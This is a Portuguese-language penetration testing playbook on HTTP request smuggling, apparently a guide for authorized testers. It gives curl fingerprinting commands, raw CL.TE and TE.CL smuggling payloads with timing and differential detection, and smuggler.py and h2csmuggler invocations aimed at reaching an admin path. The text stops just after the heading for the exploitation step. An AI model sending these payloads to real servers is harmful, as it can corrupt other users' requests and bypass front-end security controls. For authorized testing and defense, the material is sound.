Explorando o HTTP Request Smuggling

Quando Usar

• Durante testes de penetração autorizados quando a aplicação fica atrás de um proxy reverso, balanceador de carga ou CDN
• Ao testar infraestruturas com múltiplos processadores HTTP na cadeia de requisições (nginx + Apache, HAProxy + Gunicorn)
• Para avaliar aplicações quanto a vulnerabilidades de dessincronização HTTP
• Quando outros vetores de ataque são limitados e você precisa contornar controles de segurança front-end
• Durante avaliações de segurança de arquiteturas web multi-camada

Pré-requisitos

• Autorização: Contrato de teste de penetração escrito cobrindo explicitamente o request smuggling (teste de alto risco)
• Burp Suite Professional: Com a extensão HTTP Request Smuggler (Turbo Intruder)
• smuggler.py: Ferramenta automatizada de detecção de HTTP request smuggling
• curl: Compilado com suporte a HTTP/1.1 e codificação chunked manual
• Conhecimento da arquitetura do alvo: Compreensão da cadeia de proxy/servidor (front-end e back-end)
• Cuidado: O request smuggling pode afetar as requisições de outros usuários; teste com cautela

Fluxo de Trabalho

Passo 1: Identificar a Arquitetura HTTP

Determine a cadeia de proxy/servidor e as características de parsing HTTP.

# Identify front-end proxy/CDN
curl -s -I "https://target.example.com/" | grep -iE \
  "(server|via|x-served-by|x-cache|cf-ray|x-amz|x-varnish)"

# Common architectures:
# Cloudflare → Nginx → Application
# AWS ALB → Apache → Application
# HAProxy → Gunicorn → Python app
# Nginx → Node.js/Express
# Akamai → IIS → .NET app

# Check HTTP version support
curl -s -I --http1.1 "https://target.example.com/" | head -1
curl -s -I --http2 "https://target.example.com/" | head -1

# Check if Transfer-Encoding is supported
curl -s -X POST \
  -H "Transfer-Encoding: chunked" \
  -H "Content-Type: application/x-www-form-urlencoded" \
  -d "0\r\n\r\n" \
  "https://target.example.com/" -w "%{http_code}"

# Check for HTTP/2 downgrade to HTTP/1.1 on backend
# Many CDNs accept HTTP/2 but forward HTTP/1.1 to origin

Passo 2: Testar para CL.TE Smuggling

O front-end usa Content-Length, o back-end usa Transfer-Encoding.

# In Burp Suite Repeater, disable "Update Content-Length" option
# Send the following request manually:

POST / HTTP/1.1
Host: target.example.com
Content-Length: 13
Transfer-Encoding: chunked

0

SMUGGLED

# If vulnerable (CL.TE):
# Front-end reads 13 bytes (Content-Length), forwards entire request
# Back-end reads chunked: "0\r\n\r\n" = end of body
# "SMUGGLED" becomes the start of the next request

# Detection technique: Time-based
# If back-end reads chunked and sees incomplete chunk, it waits:

POST / HTTP/1.1
Host: target.example.com
Content-Length: 4
Transfer-Encoding: chunked

1
A
X

# If response is delayed (~5-10 seconds), CL.TE is likely

Passo 3: Testar para TE.CL Smuggling

O front-end usa Transfer-Encoding, o back-end usa Content-Length.

# Burp Repeater - disable "Update Content-Length"

POST / HTTP/1.1
Host: target.example.com
Content-Length: 3
Transfer-Encoding: chunked

8
SMUGGLED
0


# If vulnerable (TE.CL):
# Front-end reads chunked: chunk "SMUGGLED" + final "0"
# Back-end reads 3 bytes of Content-Length: "8\r\n"
# Remaining "SMUGGLED\r\n0\r\n\r\n" becomes next request prefix

# Detection via differential response:
POST / HTTP/1.1
Host: target.example.com
Content-Length: 6
Transfer-Encoding: chunked

0

X

# Front-end (TE): reads "0\r\n\r\n", sees end
# Back-end (CL): reads 6 bytes "0\r\nX\r\n"
# Next request gets "X" prepended, causing 400/405 errors

Passo 4: Usar Ferramentas de Detecção Automatizada

Execute scanners automatizados para detectar variantes de smuggling.

# Using smuggler.py
git clone https://github.com/defparam/smuggler.git
cd smuggler
python3 smuggler.py -u "https://target.example.com/" -m GET POST

# Using Burp HTTP Request Smuggler extension
# 1. Install from BApp Store: "HTTP Request Smuggler"
# 2. Right-click target in Site Map > Extensions > HTTP Request Smuggler > Smuggle probe
# 3. Check Scanner > Issue Activity for results

# Using h2csmuggler for HTTP/2 smuggling
# git clone https://github.com/BishopFox/h2cSmuggler.git
python3 h2csmuggler.py -x "https://target.example.com/" \
  "https://target.example.com/admin"

# Manual detection with Turbo Intruder
# Send paired requests with different timing
# First request: smuggling prefix
# Second request: normal request that gets affected

Passo 5: Explorar Request Smuggling para Impacto

Utilize o smuggling confirmado para ataques práticos.